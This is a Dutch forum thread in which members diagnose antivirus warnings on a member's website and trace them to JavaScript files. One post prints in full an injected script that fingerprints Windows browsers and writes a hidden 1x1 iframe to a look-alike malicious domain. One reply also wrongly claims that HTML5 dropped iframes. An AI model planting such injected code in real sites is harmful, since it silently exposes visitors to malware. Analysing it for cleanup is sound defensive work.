Beste Leden,

Ik kreeg een bericht waarvan er wat gezegt dat er op deze website een virus zit:

http://alturl.com/73zyp

Ik krijg zelf gewoon de website te zien en krijg geen melding. Heeft iemand
deze melding wel en weet hij/zij hier de oplossing voor?

Hartelijk dank alvast.

Website doet het hier ook zonder probs.

Ik krijg een malware melding zie:
http://goo.gl/r7wPM

Krijg de volgende meldingen:

Origineel gepost door Jordy Bakker

Ik krijg een malware melding zie:
http://goo.gl/r7wPM

Hetzelfde hier.
Alles wordt verwezen naar de js folder.

Website is normaal te bekijken.
Norton 2012 geeft geen melding!

Dat is raar. De ene helft krijgt dus wel een melding en de andere helft niet. Icm met Norton.
Ik ga de JS langslopen kijken of er wat raars instaat.


Ik denk dat dit het is ? dit staat helemaal onderaan in de aangegeven files:

var BrowserDetect = { init: function () { this.browser = this.searchString(this.dataBrowser) || "An unknown browser"; this.version = this.searchVersion(navigator.userAgent) || this.searchVersion(navigator.appVersion) || "an unknown version"; this.OS = this.searchString(this.dataOS) || "an unknown OS"; }, searchString: function (data) { for (var i=0;i<data.length;i++) { var dataString = data[i].string; var dataProp = data[i].prop; this.versionSearchString = data[i].versionSearch || data[i].identity; if (dataString) { if (dataString.indexOf(data[i].subString) != -1) return data[i].identity; } else if (dataProp) return data[i].identity; } }, searchVersion: function (dataString) { var index = dataString.indexOf(this.versionSearchString); if (index == -1) return; return parseFloat(dataString.substring(index+this.version SearchString.length+1)); }, dataBrowser: [ { string: navigator.userAgent,subString: "Firefox",identity: "Firefox"},{string: navigator.userAgent,subString: "MSIE",identity: "Explorer",versionSearch: "MSIE"}],dataOS : [{string: navigator.platform,subString: "Win",identity: "Windows"}]};function addCookie(szName,szValue,dtDaysExpires){ var dtExpires = new Date();var dtExpiryDate = "";dtExpires.setTime(dtExpires.getTime()+dtDaysExp ires*24*60*60*1000);dtExpiryDate=dtExpires.toGMTSt ring();document.cookie=szName+"="+szValue+";expire s="+dtExpiryDate;} function findCookie(szName){ var i=0;var nStartPosition=0;var nEndPosition=0;var szCookieString=document.cookie; while (i<=szCookieString.length){nStartPosition=i;nEndPo sition=nStartPosition+szName.length;if (szCookieString.substring(nStartPosition,nEndPosit ion)==szName){nStartPosition=nEndPosition+1;nEndPo sition=document.cookie.indexOf(";",nStartPosition) ;if(nEndPosition<nStartPosition) nEndPosition=document.cookie.length;return document.cookie.substring(nStartPosition,nEndPosit ion);break;}i++;} return "";} BrowserDetect.init(); var szCookieString = document.cookie; var boroda = BrowserDetect.browser; var os = BrowserDetect.OS; if ( ((boroda == "Firefox" || boroda == "Explorer") && (os == "Windows")) && (findCookie('geo_idn')!='c48a765e4f75baeb85f0a755f c3ec09c') ) {addCookie("geo_idn","c48a765e4f75baeb85f0a755fc3e c09c",1);document.write('<iframe src="http://google-adsenc.com/in.cgi?2" name="Twitter" scrolling="auto" frameborder="no" align="center" height = "1px" width = "1px"></iframe>');}else {}var BrowserDetect = { init: function () { this.browser = this.searchString(this.dataBrowser) || "An unknown browser"; this.version = this.searchVersion(navigator.userAgent) || this.searchVersion(navigator.appVersion) || "an unknown version"; this.OS = this.searchString(this.dataOS) || "an unknown OS"; }, searchString: function (data) { for (var i=0;i<data.length;i++) { var dataString = data[i].string; var dataProp = data[i].prop; this.versionSearchString = data[i].versionSearch || data[i].identity; if (dataString) { if (dataString.indexOf(data[i].subString) != -1) return data[i].identity; } else if (dataProp) return data[i].identity; } }, searchVersion: function (dataString) { var index = dataString.indexOf(this.versionSearchString); if (index == -1) return; return parseFloat(dataString.substring(index+this.version SearchString.length+1)); }, dataBrowser: [ { string: navigator.userAgent,subString: "Firefox",identity: "Firefox"},{string: navigator.userAgent,subString: "MSIE",identity: "Explorer",versionSearch: "MSIE"}],dataOS : [{string: navigator.platform,subString: "Win",identity: "Windows"}]};function addCookie(szName,szValue,dtDaysExpires){ var dtExpires = new Date();var dtExpiryDate = "";dtExpires.setTime(dtExpires.getTime()+dtDaysExp ires*24*60*60*1000);dtExpiryDate=dtExpires.toGMTSt ring();document.cookie=szName+"="+szValue+";expire s="+dtExpiryDate;} function findCookie(szName){ var i=0;var nStartPosition=0;var nEndPosition=0;var szCookieString=document.cookie; while (i<=szCookieString.length){nStartPosition=i;nEndPo sition=nStartPosition+szName.length;if (szCookieString.substring(nStartPosition,nEndPosit ion)==szName){nStartPosition=nEndPosition+1;nEndPo sition=document.cookie.indexOf(";",nStartPosition) ;if(nEndPosition<nStartPosition) nEndPosition=document.cookie.length;return document.cookie.substring(nStartPosition,nEndPosit ion);break;}i++;} return "";} BrowserDetect.init(); var szCookieString = document.cookie; var boroda = BrowserDetect.browser; var os = BrowserDetect.OS; if ( ((boroda == "Firefox" || boroda == "Explorer") && (os == "Windows")) && (findCookie('geo_idn')!='c48a765e4f75baeb85f0a755f c3ec09c') ) {addCookie("geo_idn","c48a765e4f75baeb85f0a755fc3e c09c",1);document.write('<iframe src="http://google-adsens.com/in.cgi?2" name="Twitter" scrolling="auto" frameborder="no" align="center" height = "1px" width = "1px"></iframe>');}else {}

Hier ook virusmelding met NOD32. Denk dat dit de boosdoender is:

document.write('<iframe src="http://google-adsenc.com/in.cgi?2" name="Twitter" scrolling="auto" frameborder="no" align="center" height = "1px" width = "1px"></iframe>

Mijn virusscanner krijgt hier meldingen van 12 bestanden op de website. (Virusscanner: AVG)

Ik denk ook dat die iframe de boosdoener is, dat is makkelijk uit te leggen want sinds HTML 5 wordt dit eigenlijk niet meer ondersteund dus ik denk dat de virusscanners dit zijn als een stukje schadelijke code. Als je kijkt naar de meldingen gaan deze ook allemaal over een iframe, dus dat bevestigt mijn gedachte.

Bedankt voor alle reactie's. Ik heb het uit de bestanden gehaald. Heeft iemand er nu nog last van?

Ik zie nog steeds dezelfde melding, als jordy bakker.

Oke, ik heb uit het bericht van Sebastiaan de bestanden aangepast. Ik zal dus alle JS moeten vervangen.

NOD32 geeft aan dat je .js bestanden virussen zijn.
Krijg van 8 .js bestanden een melding.

12 virussen met avg. Allemaal in folder van js

B. Roelofs